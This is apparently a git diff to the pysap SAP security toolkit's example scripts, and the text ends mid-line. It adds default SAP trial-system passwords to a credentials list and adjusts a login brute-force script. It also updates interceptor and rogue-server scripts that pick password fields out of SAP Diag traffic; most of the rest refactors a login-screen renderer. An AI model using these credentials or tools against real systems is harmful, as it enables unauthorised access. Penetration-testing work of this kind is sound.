diff --git a/.gitignore b/.gitignore index f253e6b3..a3be8034 100644 --- a/.gitignore +++ b/.gitignore @@ -8,6 +8,7 @@ __pycache__/ # Distribution / packaging .Python env/ +.venv build/ develop-eggs/ dist/ diff --git a/examples/default_sap_credentials b/examples/default_sap_credentials index b5ccfe61..42097e4d 100644 --- a/examples/default_sap_credentials +++ b/examples/default_sap_credentials @@ -64,6 +64,24 @@ SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 +# SAP ABAP Cloud Developer Trial +# 2023 +DDIC:ABAPtr2023#00:000,001 +SAP*:ABAPtr2023#00:000,001 +DEVELOPER:ABAPtr2023#00:000,001 +# 2022 SP1 +DDIC:ABAPtr2022#01:000,001 +SAP*:ABAPtr2022#01:000,001 +DEVELOPER:ABAPtr2022#01:000,001 +# 2022 +DDIC:ABAPtr2022#00:000,001 +SAP*:ABAPtr2022#00:000,001 +DEVELOPER:ABAPtr2022#00:000,001 +# 1909 SP1 +DDIC:Ldtf5432:000,001 +SAP*:Ldtf5432:000,001 +DEVELOPER:Ldtf5432:000,001 + # SAP CA Introscope Enterprise Manager # cemadmin password hash acef2c15bcd349db90dffece73e1256e881c4416fc1f2d3a4946418349d9a cemadmin:quality diff --git a/examples/diag_capturer.py b/examples/diag_capturer.py index 3a1e81ba..d9976a31 100755 --- a/examples/diag_capturer.py +++ b/examples/diag_capturer.py @@ -68,7 +68,7 @@ def parse_packet(self, pkt): if key not in self.packets_metadata: self.packets_metadata[key] = [] self.packets_metadata[key].append((pkt[TCP].seq + pkt[TCP].ack, - str(pkt[Raw].load))) + bytes(pkt[Raw].load))) def reassemble(self): # Build a stream of packets for each connection @@ -76,7 +76,7 @@ def reassemble(self): for key, value in list(self.packets_metadata.items()): value.sort() value = list(value for value, _ in itertools.groupby(value)) - streams[key] = '' + streams[key] = b'' for pkts in sorted(value): streams[key] += pkts[1] @@ -105,8 +105,10 @@ def parse_fields(self, pkt): for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]: if atom.etype in [121, 122, 123, 130, 131, 132]: text = atom.field1_text or atom.field2_text + if isinstance(text, bytes): + text = text.decode("utf-8", errors="replace") text = text.strip() - if "@\Q" in text: + if "@\\Q" in text: parts = text.split("@") try: text = "%s (hint: %s)" % (parts[2], parts[1]) diff --git a/examples/diag_interceptor.py b/examples/diag_interceptor.py index f8801f82..86aac278 100755 --- a/examples/diag_interceptor.py +++ b/examples/diag_interceptor.py @@ -53,7 +53,9 @@ def filter_client(packet): print("[*] Input fields:") for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]: if atom.etype in [121, 122, 123, 130, 131, 132]: - text = atom.field1_text or atom.field2_text + text = atom.field1_text if atom.field1_text else atom.field2_text + if isinstance(text, bytes): + text = text.decode("utf-8", errors="replace") text = text.strip() if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0: # If the invisible flag was set, we're probably diff --git a/examples/diag_login_brute_force.py b/examples/diag_login_brute_force.py index 4eb2ec2f..2a098d9e 100755 --- a/examples/diag_login_brute_force.py +++ b/examples/diag_login_brute_force.py @@ -292,11 +292,15 @@ def main(): if len(line) == 0 or line.startswith("#"): continue - (username, password, clients) = line.split(':') - if clients == "*": + parts = line.split(':', 2) + if len(parts) == 2: + username, password = parts clients = client_list + elif len(parts) == 3: + username, password, client_field = parts + clients = client_list if client_field == "*" else client_field.split(',') else: - clients = clients.split(',') + raise ValueError("Invalid line: %s" % line) for client in clients: testcases.append((username, password, client)) diff --git a/examples/diag_login_screen_info.py b/examples/diag_login_screen_info.py index c2367d37..6a7d60e6 100755 --- a/examples/diag_login_screen_info.py +++ b/examples/diag_login_screen_info.py @@ -145,10 +145,14 @@ def show_text_info(item): for it in items: var = it.getfieldval('name_text') value = it.getfieldval("field1_text") - if value is None: + if not value: value = it.getfieldval("field2_text") + if isinstance(var, bytes): + var = var.decode("utf-8", errors="replace") + if isinstance(value, bytes): + value = value.decode("utf-8", errors="replace") key = '%s_%s' % (it.row, it.col) - if key not in dico.keys(): + if key not in dico: dico[key] = {'var': key, 'value': value} if value: dico[key]['value'] = value.strip() diff --git a/examples/diag_render_login_screen.py b/examples/diag_render_login_screen.py index d62154fc..a7e6cb1f 100755 --- a/examples/diag_render_login_screen.py +++ b/examples/diag_render_login_screen.py @@ -18,12 +18,15 @@ # # Standard imports +import re import logging from collections import defaultdict from argparse import ArgumentParser + # External imports from scapy.config import conf from scapy.packet import bind_layers + # Custom imports import pysap from pysap.SAPNI import SAPNI @@ -31,230 +34,387 @@ from pysap.SAPDiag import SAPDiag, SAPDiagDP from pysap.SAPDiagClient import SAPDiagConnection -# Try to import wx for failing gracefully if not found +# Try to import wx, failing gracefully if not installed try: - import wx # TODO: Change wx to Tkinter + import wx has_wx = True except ImportError: has_wx = False +# Bind SAP Diag protocol layers +bind_layers(SAPNI, SAPDiag) +bind_layers(SAPNI, SAPDiagDP) +bind_layers(SAPDiagDP, SAPDiag) +bind_layers(SAPDiag, SAPDiagItem) +bind_layers(SAPDiagItem, SAPDiagItem) -# Bind the SAPDiag layer -bind_layers(SAPNI, SAPDiag,) -bind_layers(SAPNI, SAPDiagDP,) -bind_layers(SAPDiagDP, SAPDiag,) -bind_layers(SAPDiag, SAPDiagItem,) -bind_layers(SAPDiagItem, SAPDiagItem,) - - -# Set the verbosity to 0 conf.verb = 0 +_SAP_ICON_RE = re.compile(r'@[^@]+@') -# Command line options parser -def parse_options(): - - description = "This example script renders the login screen provided by an SAP Netweaver Application Server using "\ - "wxPython." - - usage = "%(prog)s [options] -d " - - parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) - - target = parser.add_argument_group("Target") - target.add_argument("-d", "--remote-host", dest="remote_host", - help="Remote host") - target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3200, - help="Remote port [%(default)d]") - target.add_argument("--route-string", dest="route_string", - help="Route string for connecting through a SAP Router") - - misc = parser.add_argument_group("Misc options") - misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") - misc.add_argument("--terminal", dest="terminal", default=None, - help="Terminal name") - - options = parser.parse_args() - if not (options.remote_host or options.route_string): - parser.error("Remote host or route string is required") - - return options +def _strip_icons(text): + """Remove SAP icon escape sequences (@XX@) from display text.""" + return _SAP_ICON_RE.sub('', text) -class DiagScreen(wx.Frame): - def __init__(self, parent, windows_title, height, width, session_title, dbname, cpuname): - wx.Frame.__init__(self, parent, title=windows_title) +def _decode(value): + """Decode bytes to str; pass strings through unchanged.""" + return value.decode("utf-8", errors="replace") if isinstance(value, bytes) else str(value) - self.maincontainer = wx.BoxSizer(wx.VERTICAL) - self.session_title = wx.StaticBox(self, label=session_title) +def _get_item_value(screen, item_type, item_id, item_sid, i=0): + """Return the value of a SAPDiag item, or an empty list if not found.""" + item = screen.get_item(item_type, item_id, item_sid) + return item[i].item_value if item else [] - self.container = wx.StaticBoxSizer(self.session_title, wx.VERTICAL) - self.maincontainer.Add(self.container, flag=wx.EXPAND | wx.ALL, border=10) - self.buttonbar = wx.ToolBar(self) - self.container.Add(self.buttonbar, flag=wx.EXPAND | wx.ALL, border=10) - - self.content = wx.GridBagSizer() - self.container.Add(self.content) - self.SetSizer(self.container) +def _parse_atom(atom_item): + """ + Extract (text, mlen, maxnrchars, readonly) from a Dynt atom item. + Returns None for unhandled atom types. + """ + etype = atom_item.etype + if etype in (121, 122, 123): + text, mlen, maxnrchars = atom_item.field1_text, atom_item.field1_mlen, atom_item.field1_maxnrchars + elif etype in (130, 131, 132): + text, mlen, maxnrchars = atom_item.field2_text, atom_item.field2_mlen, atom_item.field2_maxnrchars + elif etype == 115: # PUSHBUTTON_2 + text = atom_item.pushbutton_text + mlen = maxnrchars = len(text) if text else 0 + elif etype == 127: # FRAME_1 + text = atom_item.frame_text + mlen = maxnrchars = len(text) if text else 0 + else: + return None + return _decode(text), mlen, maxnrchars, etype in (122, 131) + + +if has_wx: + # SAP GUI colour palette (Corbu/classic theme) + _SAP_BG = wx.Colour(236, 236, 236) # window / label background + _SAP_FIELD_BG = wx.Colour(255, 255, 255) # editable input field + _SAP_OFIELD_BG = wx.Colour(214, 214, 214) # read-only output field + _SAP_BLUE = wx.Colour(0, 70, 127) # SAP dark blue (titles) + _SAP_FG = wx.Colour(0, 0, 0) # foreground text + + +class DiagScreen(wx.Frame if has_wx else object): + def __init__(self, parent, title, height, width, session_title, dbname, cpuname): + wx.Frame.__init__(self, parent, title=title) + + # Monospace font — measured once to derive the character-cell grid size + self._font = wx.Font(10, wx.FONTFAMILY_TELETYPE, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL) + dc = wx.ScreenDC() + dc.SetFont(self._font) + self._cw, self._ch = dc.GetTextExtent("X") self.menubar = wx.MenuBar() self.SetMenuBar(self.menubar) - self.toolbar = self.CreateToolBar() + self.toolbar = self.CreateToolBar(wx.TB_HORIZONTAL | wx.TB_FLAT | wx.TB_NODIVIDER) + self.toolbar.SetBackgroundColour(_SAP_BG) self.toolbar.Realize() - self.statusbar = self.CreateStatusBar() - self.statusbar.SetFields(["", dbname, cpuname]) - - self.menus = defaultdict(defaultdict) - - def add_text(self, x, y, maxlength, text, tooltip=None): - text_control = wx.StaticText(self, label=text) + self._outer = wx.Panel(self) + self._outer.SetBackgroundColour(_SAP_BG) + chrome = wx.BoxSizer(wx.VERTICAL) + + title_label = wx.StaticText(self._outer, label=_strip_icons(session_title)) + title_label.SetFont(wx.Font(9, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD)) + title_label.SetForegroundColour(_SAP_BLUE) + chrome.Add(title_label, flag=wx.ALL, border=4) + chrome.Add(wx.StaticLine(self._outer), flag=wx.EXPAND | wx.LEFT | wx.RIGHT, border=4) + + self._canvas = wx.ScrolledWindow(self._outer, style=wx.VSCROLL | wx.HSCROLL) + self._canvas.SetBackgroundColour(_SAP_BG) + self._canvas.SetScrollRate(self._cw, self._ch) + self._canvas.SetVirtualSize(width * self._cw, height * self._ch) + chrome.Add(self._canvas, proportion=1, flag=wx.EXPAND | wx.ALL, border=4) + + chrome.Add(wx.StaticLine(self._outer), flag=wx.EXPAND | wx.LEFT | wx.RIGHT, border=4) + self._pfk_panel = wx.Panel(self._outer) + self._pfk_panel.SetBackgroundColour(_SAP_BG) + self._pfk_sizer = wx.WrapSizer(wx.HORIZONTAL) + self._pfk_panel.SetSizer(self._pfk_sizer) + chrome.Add(self._pfk_panel, flag=wx.EXPAND | wx.ALL, border=2) + + self._outer.SetSizer(chrome) + frame_sizer = wx.BoxSizer(wx.VERTICAL) + frame_sizer.Add(self._outer, proportion=1, flag=wx.EXPAND) + self.SetSizer(frame_sizer) + + self.SetClientSize(wx.Size(width * self._cw + 24, height * self._ch + 100)) + + self.statusbar = self.CreateStatusBar(3) + self.statusbar.SetStatusText("", 0) + self.statusbar.SetStatusText(dbname, 1) + self.statusbar.SetStatusText(cpuname, 2) + + self.menus = defaultdict(dict) + self._ofield_bg = None + self._ofield_bg_origin = (0, 0) + + def _cell_pos(self, x, y): + return wx.Point(x * self._cw, y * self._ch) + + def _cell_size(self, cols): + return wx.Size(max(cols * self._cw, 24), self._ch + 2) + + def create_ofield_background(self, col, row, width_cols, height_rows): + """Create the single unified gray box for all OFIELD content.""" + self._ofield_bg = wx.Panel(self._canvas, + pos=self._cell_pos(col, row), + size=wx.Size(width_cols * self._cw, height_rows * self._ch)) + self._ofield_bg.SetBackgroundColour(_SAP_OFIELD_BG) + self._ofield_bg_origin = (col, row) + + def add_text(self, x, y, mlen, text, tooltip=None): + text = _strip_icons(text) + ctrl = wx.StaticText(self._canvas, label=text, + pos=self._cell_pos(x, y), + size=self._cell_size(max(mlen, len(text)))) + ctrl.SetFont(self._font) + ctrl.SetForegroundColour(_SAP_FG) + ctrl.SetBackgroundColour(_SAP_BG) if tooltip: - text_control.SetTooltip(tooltip) - self.content.Add(text_control, pos=(y, x), flag=wx.TOP | wx.LEFT | wx.BOTTOM, border=5) - - def add_text_box(self, x, y, maxlength, text, invisible=0): - if invisible: - textbox_control = wx.TextCtrl(self, style=wx.TE_PASSWORD) + ctrl.SetToolTip(tooltip) + + def add_text_box(self, x, y, mlen, maxnrchars, text, invisible=False, readonly=False): + text = _strip_icons(text) + if readonly: + if self._ofield_bg is not None: + ox, oy = self._ofield_bg_origin + ctrl = wx.StaticText(self._ofield_bg, label=text, + pos=wx.Point((x - ox) * self._cw, (y - oy) * self._ch), + size=wx.Size(len(text) * self._cw + self._cw, self._ch)) + else: + ctrl = wx.StaticText(self._canvas, label=text, + pos=self._cell_pos(x, y), + size=wx.Size(max(mlen, len(text)) * self._cw, self._ch)) + ctrl.SetFont(self._font) + ctrl.SetForegroundColour(_SAP_FG) else: - textbox_control = wx.TextCtrl(self) - textbox_control.SetMaxLength(maxlength) - textbox_control.SetValue(text) - self.content.Add(textbox_control, pos=(y, x), flag=wx.TOP | wx.LEFT | wx.BOTTOM, border=5) + style = wx.TE_PASSWORD if invisible else 0 + ctrl = wx.TextCtrl(self._canvas, style=style, + pos=self._cell_pos(x, y), + size=self._cell_size(mlen)) + ctrl.SetFont(self._font) + ctrl.SetBackgroundColour(_SAP_FIELD_BG) + ctrl.SetForegroundColour(_SAP_FG) + ctrl.SetMaxLength(maxnrchars) + ctrl.SetValue(text) def add_button(self, text): - button = wx.Button(self.buttonbar, wx.ID_ANY, text) - self.buttonbar.AddControl(button) + btn = wx.Button(self._pfk_panel, wx.ID_ANY, text, style=wx.BU_EXACTFIT) + btn.SetFont(wx.Font(8, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL)) + self._pfk_sizer.Add(btn, flag=wx.ALL, border=1) def add_toolbar(self, text): - toolbar = wx.Button(self.toolbar, wx.ID_ANY, text) - self.toolbar.AddControl(toolbar) + btn = wx.Button(self.toolbar, wx.ID_ANY, text, style=wx.BU_EXACTFIT) + btn.SetFont(wx.Font(8, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL)) + self.toolbar.AddControl(btn) def add_menu(self, pos1, text): self.menus[pos1][0] = wx.Menu() self.menubar.Append(self.menus[pos1][0], text) - def add_child_menu(self, text, pos1, pos2=0, pos3=0, pos4=0, sel=0, men=0, sep=0): - # XXX: Support menus of level 4, need to use another structure for storing the menus and their handles + def add_child_menu(self, text, pos1, pos2=0, pos3=0, pos4=0, sel=False, men=False, sep=False): if pos4 > 0: return if sep: self.menus[pos1][0].AppendSeparator() + return + if men: + self.menus[pos1][pos2] = wx.Menu() + item = self.menus[pos1][0].AppendSubMenu(self.menus[pos1][pos2], text) + elif pos3 > 0: + item = self.menus[pos1][pos2].Append(wx.ID_ANY, text) else: - if men: - self.menus[pos1][pos2] = wx.Menu() - item = self.menus[pos1][0].AppendMenu(wx.ID_ANY, text, self.menus[pos1][pos2]) - else: - if pos3 > 0: - item = self.menus[pos1][pos2].Append(wx.ID_ANY, text) - else: - item = self.menus[pos1][0].Append(wx.ID_ANY, text) - item.Enable(sel == 1) + item = self.menus[pos1][0].Append(wx.ID_ANY, text) + item.Enable(bool(sel)) def render_diag_screen(screen, verbose): - """ - Renders the Dynt Atom items of a message - - """ - - def get_item_value(screen, item_type, item_id, item_sid, i=0): - item = screen.get_item(item_type, item_id, item_sid) - if item: - return item[i].item_value - else: - return [] - - areasize = get_item_value(screen, "APPL", "VARINFO", "AREASIZE") - dbname = get_item_value(screen, "APPL", "ST_R3INFO", "DBNAME") - cpuname = get_item_value(screen, "APPL", "ST_R3INFO", "CPUNAME") - client = get_item_value(screen, "APPL", "ST_R3INFO", "CLIENT") - session_icon = get_item_value(screen, "APPL", "VARINFO", "SESSION_ICON") - session_title = get_item_value(screen, "APPL", "VARINFO", "SESSION_TITLE") - menus = get_item_value(screen, "APPL4", "MNUENTRY", "MENU_ACT") - menudetails = get_item_value(screen, "APPL4", "MNUENTRY", "MENU_MNU") - buttonbars = get_item_value(screen, "APPL4", "MNUENTRY", "MENU_PFK") - toolbars = get_item_value(screen, "APPL4", "MNUENTRY", "MENU_KYB") + """Render the Dynt Atom items from a SAPDiag login screen packet.""" + areasize = _get_item_value(screen, "APPL", "VARINFO", "AREASIZE") + dbname = _decode(_get_item_value(screen, "APPL", "ST_R3INFO", "DBNAME")) + cpuname = _decode(_get_item_value(screen, "APPL", "ST_R3INFO", "CPUNAME")) + client = _decode(_get_item_value(screen, "APPL", "ST_R3INFO", "CLIENT")) + session_icon = _decode(_get_item_value(screen, "APPL", "VARINFO", "SESSION_ICON")) + session_title = _decode(_get_item_value(screen, "APPL", "VARINFO", "SESSION_TITLE")) + menus = _get_item_value(screen, "APPL4", "MNUENTRY", "MENU_ACT") + menudetails = _get_item_value(screen, "APPL4", "MNUENTRY", "MENU_MNU") + buttonbars = _get_item_value(screen, "APPL4", "MNUENTRY", "MENU_PFK") + toolbars = _get_item_value(screen, "APPL4", "MNUENTRY", "MENU_KYB") if verbose: - print("[*] DB Name: " + dbname) - print("[*] CPU Name: " + cpuname) - print("[*] Client: " + client) - print("[*] Session Icon: " + session_icon) - print("[*] Session Title: " + session_title) - print("[*] Window Size: " + areasize.window_height + " x " + areasize.window_width) + print("[*] DB Name: %s" % dbname) + print("[*] CPU Name: %s" % cpuname) + print("[*] Client: %s" % client) + print("[*] Session Icon: %s" % session_icon) + print("[*] Session Title: %s"% session_title) + print("[*] Window Size: %d x %d" % (areasize.window_height, areasize.window_width)) app = wx.App(False) - login_frame = DiagScreen(None, "%s (%s)" % (session_icon, client), areasize.window_height, areasize.window_width, session_title, dbname, cpuname) + login_frame = DiagScreen(None, "%s (%s)" % (session_icon, client), + areasize.window_height, areasize.window_width, + session_title, dbname, cpuname) - # Render the atoms (control boxes and labels) atoms = screen.get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM") if atoms: - for atom_item in [atom for atom_item in atoms for atom in atom_item.item_value.items]: - if atom_item.etype in [121, 123]: - text = atom_item.field1_text - maxnrchars = atom_item.field1_maxnrchars - elif atom_item.etype in [130, 132]: - text = atom_item.field2_text - maxnrchars = atom_item.field2_maxnrchars - else: - text = None - maxnrchars = 0 - - if text is not None: - if atom_item.etype in [123, 132]: # DIAG_DGOTYP_KEYWORD_1 or DIAG_DGOTYP_KEYWORD_2 - if text.find("@\Q") >= 0: - tooltip = text.split("@")[1][2:] - text = text.split("@")[2] - else: - tooltip = None - if verbose: - print("[*] Found text label at %d,%d: \"%s\" (maxlength=%d) (tooltip=\"%s\")" % (atom_item.col, atom_item.row, text.strip(), maxnrchars, tooltip)) - login_frame.add_text(atom_item.col, atom_item.row, maxnrchars, text) - elif atom_item.etype in [121, 130]: # DIAG_DGOTYP_EFIELD_1 or DIAG_DGOTYP_EFIELD_2 - if verbose: - print("[*] Found text box at %d,%d: \"%s\" (maxlength=%d)" % (atom_item.col, atom_item.row, text.strip(), maxnrchars)) - login_frame.add_text_box(atom_item.col, atom_item.row, maxnrchars, text.strip(), atom_item.attr_DIAG_BSD_INVISIBLE == 1) - else: - print("[*] Found label without text") + all_atoms = [atom for item in atoms for atom in item.item_value.items] + + # Split atoms into background (readonly OFIELD) and foreground (form elements). + # Background atoms are rendered first so foreground widgets sit on top in Z-order. + # Atoms with unhandled etypes are logged in verbose mode and skipped. + bg_atoms, fg_atoms = [], [] + for atom_item in all_atoms: + parsed = _parse_atom(atom_item) + if parsed is None: + if verbose: + etype_name = diag_atom_etypes.get(atom_item.etype, str(atom_item.etype)) + print("[*] Skipped at %d,%d: %s" % (atom_item.col, atom_item.row, etype_name)) + continue + (bg_atoms if parsed[3] else fg_atoms).append((atom_item, parsed)) + + # The right edge of form elements (excluding decorative frames). + form_right = max( + (atom_item.col + parsed[1] + for atom_item, parsed in fg_atoms + if atom_item.etype != 127), + default=0 + ) + + # Use the FRAME_1 position to anchor OFIELDs. The frame border takes + # 1 char on each side, so the interior starts at frame_col+1, frame_row+1. + bg_frame_atoms = [(a.col, a.row) for a, _ in fg_atoms + if a.etype == 127 and a.col > form_right] + if bg_frame_atoms: + frame_col, frame_row = min(bg_frame_atoms, key=lambda t: t[0]) + ofield_col_offset = frame_col + 1 + ofield_row_offset = frame_row + 1 + else: + ofield_col_offset = form_right + 2 if form_right > 0 else 0 + ofield_row_offset = 0 + + # Compute OFIELD display width and absolute row span for the background box. + max_ofield_display = 0 + ofield_abs_rows = [] + for atom_item, (text, mlen, _, _readonly) in bg_atoms: + display_width = max(mlen, len(_strip_icons(text))) + max_ofield_display = max(max_ofield_display, display_width) + ofield_abs_rows.append(atom_item.row + ofield_row_offset) + + # Create the single unified gray background box before rendering OFIELD rows. + if ofield_abs_rows and max_ofield_display > 0: + min_row = min(ofield_abs_rows) + login_frame.create_ofield_background( + ofield_col_offset, min_row, + max_ofield_display, + max(ofield_abs_rows) - min_row + 1) + + # Resize canvas and window to fit both the form and the OFIELD section. + total_cols = max(areasize.window_width, ofield_col_offset + max_ofield_display) + login_frame._canvas.SetVirtualSize(total_cols * login_frame._cw, + areasize.window_height * login_frame._ch) + login_frame.SetClientSize(wx.Size(total_cols * login_frame._cw + 24, + areasize.window_height * login_frame._ch + 100)) + + for atom_item, (text, mlen, maxnrchars, readonly) in bg_atoms + fg_atoms: + col = atom_item.col + (ofield_col_offset if readonly else 0) + row = atom_item.row + (ofield_row_offset if readonly else 0) + etype = atom_item.etype + + if etype in (123, 132): # KEYWORD — label + if "@\\Q" in text: + parts = text.split("@") + tooltip, text = parts[1][2:], parts[2] + else: + tooltip = None + if verbose: + print("[*] Label at %d,%d: %r (mlen=%d, tooltip=%r)" + % (atom_item.col, atom_item.row, text.strip(), mlen, tooltip)) + login_frame.add_text(col, row, mlen, text, tooltip) + + elif etype in (121, 122, 130, 131): # EFIELD / OFIELD + if verbose: + print("[*] Field at %d,%d: %r (mlen=%d, maxnrchars=%d, readonly=%s)" + % (atom_item.col, atom_item.row, text.strip(), mlen, maxnrchars, readonly)) + login_frame.add_text_box(col, row, mlen, maxnrchars, text.strip(), + atom_item.attr_DIAG_BSD_INVISIBLE == 1, readonly) + + elif etype == 115: # PUSHBUTTON_2 + if verbose: + print("[*] Button at %d,%d: %r" % (atom_item.col, atom_item.row, text.strip())) + login_frame.add_button(text.strip()) + + elif etype == 127: # FRAME_1 — renders as the section label + if verbose: + print("[*] Frame at %d,%d: %r" % (atom_item.col, atom_item.row, text.strip())) + login_frame.add_text(col, row, mlen, text) - # Render the menus if menus: for menu in menus.entries: + text = _decode(menu.text) if verbose: - print("[*] Found menu item: \"%s\"" % menu.text) - login_frame.add_menu(menu.position_1, menu.text) + print("[*] Menu: %r" % text) + login_frame.add_menu(menu.position_1, text) - # Render the submenus if menudetails: for menu in menudetails.entries: + text = _decode(menu.text) if verbose: - print("[*] Found child menu item: \"%s\", pos %d, %d, %d, %d" % (menu.text, menu.position_1, menu.position_2, menu.position_3, menu.position_4)) - login_frame.add_child_menu(menu.text, menu.position_1, menu.position_2, menu.position_3, menu.position_4, menu.flag_TERM_SEL, menu.flag_TERM_MEN, menu.flag_TERM_SEP) + print("[*] Submenu: %r pos=%d,%d,%d,%d" + % (text, menu.position_1, menu.position_2, menu.position_3, menu.position_4)) + login_frame.add_child_menu( + text, menu.position_1, menu.position_2, menu.position_3, menu.position_4, + menu.flag_TERM_SEL, menu.flag_TERM_MEN, menu.flag_TERM_SEP) - # Render the buttonbar if buttonbars: for button in buttonbars.entries: + text = _decode(button.text) if verbose: - print("[*] Found button item: \"%s\"" % button.text) - login_frame.add_button(button.text) + print("[*] PFK button: %r" % text) + login_frame.add_button(text) - # Render the toolbar if toolbars: for toolbar in toolbars.entries: + text = _decode(toolbar.text) if verbose: - print("[*] Found toolbar item: \"%s\"" % toolbar.text) - login_frame.add_toolbar(toolbar.text) + print("[*] Toolbar button: %r" % text) + login_frame.add_toolbar(text) + login_frame.toolbar.Realize() + login_frame._pfk_panel.Layout() + login_frame._canvas.Refresh() login_frame.Show(True) app.MainLoop() -# Main function +def parse_options(): + description = ("This example script renders the login screen provided by an " + "SAP Netweaver Application Server using wxPython.") + usage = "%(prog)s [options] -d " + parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog) + + target = parser.add_argument_group("Target") + target.add_argument("-d", "--remote-host", dest="remote_host", help="Remote host") + target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=3200, + help="Remote port [%(default)d]") + target.add_argument("--route-string", dest="route_string", + help="Route string for connecting through a SAP Router") + + misc = parser.add_argument_group("Misc options") + misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output") + misc.add_argument("--terminal", dest="terminal", default=None, help="Terminal name") + + options = parser.parse_args() + if not (options.remote_host or options.route_string): + parser.error("Remote host or route string is required") + return options + + def main(): options = parse_options() @@ -265,20 +425,16 @@ def main(): if options.verbose: logging.basicConfig(level=logging.DEBUG) - # Create the connection to the SAP Netweaver server print("[*] Connecting to %s port %d" % (options.remote_host, options.remote_port)) connection = SAPDiagConnection(options.remote_host, options.remote_port, terminal=options.terminal, route=options.route_string) - # Send the initialization packet and store the response (login screen) login_screen = connection.init() - print("[*] Login screen grabbed, rendering it") render_diag_screen(login_screen[SAPDiag], options.verbose) - # Close the connection connection.close() diff --git a/examples/diag_rogue_server.py b/examples/diag_rogue_server.py index 0689e365..8ceed151 100755 --- a/examples/diag_rogue_server.py +++ b/examples/diag_rogue_server.py @@ -21,33 +21,60 @@ import logging from socket import error from argparse import ArgumentParser + # External imports from scapy.config import conf from scapy.packet import bind_layers + # Custom imports import pysap from pysap.SAPDiagItems import * from pysap.SAPDiag import SAPDiag, SAPDiagDP -from pysap.SAPNI import (SAPNI, SAPNIClient, SAPNIServerHandler, - SAPNIServerThreaded) +from pysap.SAPNI import SAPNI, SAPNIClient, SAPNIServerHandler, SAPNIServerThreaded +# Bind SAP Diag protocol layers +bind_layers(SAPNI, SAPDiagDP) +bind_layers(SAPNI, SAPDiag) +bind_layers(SAPDiagDP, SAPDiag) +bind_layers(SAPDiag, SAPDiagItem) +bind_layers(SAPDiagItem, SAPDiagItem) -# Bind the SAPDiag layer -bind_layers(SAPNI, SAPDiagDP,) -bind_layers(SAPNI, SAPDiag,) -bind_layers(SAPDiagDP, SAPDiag,) -bind_layers(SAPDiag, SAPDiagItem,) -bind_layers(SAPDiagItem, SAPDiagItem,) +conf.verb = 0 -# Set the verbosity to 0 -conf.verb = 0 +def parse_dynn_chl(raw): + """Parse a DYNN/CHL (APPL id=5 sid=1) item, yielding (row, col, value, invisible) per field. + + The binary layout is a 23-byte packet header followed by variable-length field + entries. Each entry begins with a size byte (inclusive), then an 18-byte + sub-header whose fields include row (offset 8), big-endian col (offsets 9-10), + flags (offset 11, bit 0x02 = invisible/password), and data length (offset 14). + The field value follows immediately after the sub-header. + """ + HEADER_SIZE = 23 # fixed packet header before any field entries (bytes 0-22) + ENTRY_HEADER = 18 # per-entry metadata bytes before the value + + if not isinstance(raw, (bytes, bytearray)): + raw = bytes(raw) + + offset = HEADER_SIZE + while offset < len(raw): + entry_size = raw[offset] + # Stop if the entry header doesn't fit; the last field may have no null + # terminator so allow entry_size to reach exactly len(raw). + if entry_size < ENTRY_HEADER or offset + ENTRY_HEADER >= len(raw): + break + flags = raw[offset + 11] + row = raw[offset + 8] + col = raw[offset + 9] * 256 + raw[offset + 10] + dlen = min(raw[offset + 14], len(raw) - (offset + ENTRY_HEADER)) + invisible = bool(flags & 0x02) + value = raw[offset + ENTRY_HEADER : offset + ENTRY_HEADER + dlen] + yield row, col, value.decode("utf-8", errors="replace"), invisible + offset += entry_size class SAPDiagClient(SAPNIClient): - terminal = None - init = False - def __init__(self, terminal=None, init=False): self.terminal = terminal self.init = init @@ -59,184 +86,253 @@ def __str__(self): class SAPDiagServerHandler(SAPNIServerHandler): def __init__(self, request, client_address, server): - self.hostname = server.options.server_hostname - self.client = server.options.server_client - self.sid = server.options.server_sid + self.hostname = server.options.server_hostname + self.client = server.options.server_client + self.sid = server.options.server_sid self.session_title = server.options.server_session_title SAPNIServerHandler.__init__(self, request, client_address, server) + # ------------------------------------------------------------------ + # Screen builders + # ------------------------------------------------------------------ + def make_login_screen(self): return [ SAPDiagItem(item_value=support_data_sapnw_702, item_type=16, item_id=6, item_sid=17), SAPDiagItem(item_value='A38A17E15C46F1F4B43C000C297D2G11', item_type=16, item_id=6, item_sid=33), SAPDiagItem(item_value='\x01\xa3\x8a\x17\xe1\\F\xf1\xf6\xb4<\x00\x0c)}.\x11\x01', item_type=16, item_id=6, item_sid=31), - SAPDiagItem(item_value=self.sid, item_type=16, item_id=6, item_sid=2), - SAPDiagItem(item_value=self.client, item_type=16, item_id=6, item_sid=12), + SAPDiagItem(item_value=self.sid, item_type=16, item_id=6, item_sid=2), + SAPDiagItem(item_value=self.client, item_type=16, item_id=6, item_sid=12), SAPDiagItem(item_value=self.hostname, item_type=16, item_id=6, item_sid=3), - SAPDiagItem(item_value='TRADESHOW\x00', item_type=16, item_id=6, item_sid=37), - SAPDiagItem(item_value='702\x007200\x0070\x00', item_type=16, item_id=6, item_sid=41), + SAPDiagItem(item_value='TRADESHOW\x00', item_type=16, item_id=6, item_sid=37), + SAPDiagItem(item_value='702\x007200\x0070\x00', item_type=16, item_id=6, item_sid=41), SAPDiagItem(item_value='S000 ', item_type=16, item_id=6, item_sid=7), SAPDiagItem(item_value='\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x16T', item_type=1), - SAPDiagItem(item_value=SAPDiagAreaSize(area_height=22, area_width=84, window_width=84, window_height=22), item_type=16, item_id=12, item_sid=7), + SAPDiagItem(item_value=SAPDiagAreaSize(area_height=22, area_width=84, 